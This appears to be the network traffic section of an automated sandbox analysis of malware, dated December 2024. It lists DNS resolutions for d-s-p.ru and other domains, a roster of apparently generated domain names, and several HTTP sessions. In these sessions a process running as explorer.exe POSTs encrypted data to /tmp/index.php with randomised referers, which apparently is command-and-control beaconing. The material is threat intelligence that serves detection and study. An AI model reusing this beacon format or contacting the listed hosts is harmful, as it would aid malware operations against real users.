Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		102.220.140.62	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		41.248.133.57	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		181.128.92.66	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		123.212.43.225	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		102.189.2.79	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		102.220.140.62	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		41.248.133.57	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		181.128.92.66	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089123011 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		123.212.43.225	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		102.189.2.79	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		102.220.140.62	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		41.248.133.57	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		181.128.92.66	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089132071 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:55.213866949 CET	1.1.1.1	192.168.2.4	0xc022	No error (0)	midginvineco.com		23.145.40.181	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		123.212.43.225	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		102.189.2.79	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		102.220.140.62	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		41.248.133.57	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		181.128.92.66	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701268911 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		123.212.43.225	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		102.189.2.79	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		102.220.140.62	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		41.248.133.57	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		181.128.92.66	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701332092 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		123.212.43.225	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		102.189.2.79	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		102.220.140.62	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		41.248.133.57	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		181.128.92.66	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.701359987 CET	1.1.1.1	192.168.2.4	0x361c	No error (0)	d-s-p.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:09.342211008 CET	1.1.1.1	192.168.2.4	0xe04d	No error (0)	www.tazc.com.my	tazc.com.my		CNAME (Canonical name)	IN (0x0001)	false
Dec 30, 2024 19:45:09.342211008 CET	1.1.1.1	192.168.2.4	0xe04d	No error (0)	tazc.com.my		51.79.230.147	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:37.369328976 CET	1.1.1.1	192.168.2.4	0xe8f0	No error (0)	upadaria.org		192.185.146.136	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:40.928714991 CET	1.1.1.1	192.168.2.4	0x3c69	No error (0)	lotuseffectllc.com		192.185.175.158	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:51.307658911 CET	1.1.1.1	192.168.2.4	0x4e64	No error (0)	webdot.ddns.net		87.120.115.216	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:54.779248953 CET	1.1.1.1	192.168.2.4	0xeb88	No error (0)	firemane.org		45.118.248.184	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:46:06.104362011 CET	1.1.1.1	192.168.2.4	0x1ab2	Name error (3)	kdtIFBJmLPfUAdsjOyiinDxA.kdtIFBJmLPfUAdsjOyiinDxA	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.tazc.com.my

upadaria.org

lotuseffectllc.com

firemane.org

cjwipwxdaicmvf.net

d-s-p.ru

syotscpmruqadjb.net

ixkqycfpabx.org

npglxuptseuhsgp.org

bqeerlntfui.org

uunijchpjmgfo.org

fsblnagupakjnja.org

urvsasyqvqgwxp.org

duabtcnoqxwepta.org

ilgayipokchjnwi.org

jifjhlrdcghs.net

yawtrsbxaqno.net

askrbnixhwd.net

bmvgxhhwuegchsnk.com

fumgmeseepesr.com

kjsrpmbmjduiwv.net

ksvvejaqmamsa.net

vtfnihcjaxwmos.com

amrgqqtkvbsuyfiq.com

htevegfcswyxd.net

hxhrbhxaiegx.com

nysccihvdkds.net

grgynsvjunbdyj.org

rkeqfvulevu.org

paiaccswdvwaulm.net

ecpopbfcnylhn.net

wgfecinevmagrs.net

wgggkliaxflrlukv.org

abtqqggxsfhktnpg.com

wluclgmelcx.net

cskorkkrkwytkhtu.org

fghaoijaskpcuqs.org

ufwlknyimcdyhhff.net

jessdujhjjx.com

hsmioefmqryctki.org

mmcpyibdxwiwlos.org

bqqqwcluixvv.com

wojftrqpwndwmdu.net

rcluvmsnbxjmn.com

abpyxpuyjhta.org

anvunsnhjllayr.net

iupqlsqcljbulu.net

ovyowegmnacdkibi.org

lsjajjgmqahp.com

ovpfvtkrixi.net

ddedgrkngjekmoj.org

ypotdnyqkrcswq.org

oywmgpnhuhb.net

laowevegchj.org

dqncwrghqkte.org

agvphbybllsas.net

mjrsolarxwh.com

njmhqmwqrarclhje.org

visknbdtdhq.org

iasmrrglydiueqr.org

xhjqltphdtwpxuw.net

aqewaciknwcref.org

newmvklahrrrgqt.com

plkttxwuhrfxb.net

jhajwwseppqky.net

dltxnhcbkmo.net

hhxuaiudkfar.net

101.99.94.162

hssuixmkgbellf.net

lnwqqljmdwq.net

mvyahhxtkfb.net

pagpbwhildwqiuis.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:22.097021103 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cjwipwxdaicmvf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 311 Host: d-s-p.ru
Dec 30, 2024 19:42:22.097083092 CET	311	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 6e 03 ff 88 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA .[k,vun{GuoS.-E@if_A5QQtUT#{gMO@h5&MMBYR<F S73xl)r7\|Rg
Dec 30, 2024 19:42:23.661969900 CET	152	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:23 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 04 00 00 00 72 e8 82 ee Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:23.671211958 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://syotscpmruqadjb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: d-s-p.ru
Dec 30, 2024 19:42:23.671245098 CET	248	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 24 3d c3 95 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu$=yLStS6S;15ZLCTM/n.&BXAoqKsI8SK:v.cCh-`hJ2"
Dec 30, 2024 19:42:25.118741989 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:25.128454924 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ixkqycfpabx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: d-s-p.ru
Dec 30, 2024 19:42:25.128479004 CET	129	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 31 3b be 93 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu1;_Ed`I?@h7Xk
Dec 30, 2024 19:42:26.598766088 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:26 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:26.607853889 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npglxuptseuhsgp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 325 Host: d-s-p.ru
Dec 30, 2024 19:42:26.607887030 CET	325	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 4e 0a e3 f7 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuN6yxNmA,q{7:bVr/O[Z4RKDS \|>;/htlo6:C`E!npoN(}slP9\X
Dec 30, 2024 19:42:28.066045046 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:27 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:28.074415922 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bqeerlntfui.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: d-s-p.ru
Dec 30, 2024 19:42:28.074431896 CET	129	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 76 42 b9 ad Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuvB/-{VT\|dx2X
Dec 30, 2024 19:42:29.526232004 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:29 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:29.534080029 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uunijchpjmgfo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 174 Host: d-s-p.ru
Dec 30, 2024 19:42:29.534080029 CET	174	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 67 2f d9 e1 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vug/upoLvY(p{pIEY\|2J2@H=o).h3_?z
Dec 30, 2024 19:42:31.023500919 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:30 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:31.031085014 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fsblnagupakjnja.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: d-s-p.ru
Dec 30, 2024 19:42:31.031085014 CET	219	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 6c 51 ac 94 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vulQ?z[w?gd)\|qT;.C\W%JkO?,K9^%UJF#S"t
Dec 30, 2024 19:42:32.476174116 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:32 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:32.486035109 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://urvsasyqvqgwxp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: d-s-p.ru
Dec 30, 2024 19:42:32.486073971 CET	142	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 22 04 ee e6 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu"g@t_*<?_3D[6NGPu(T
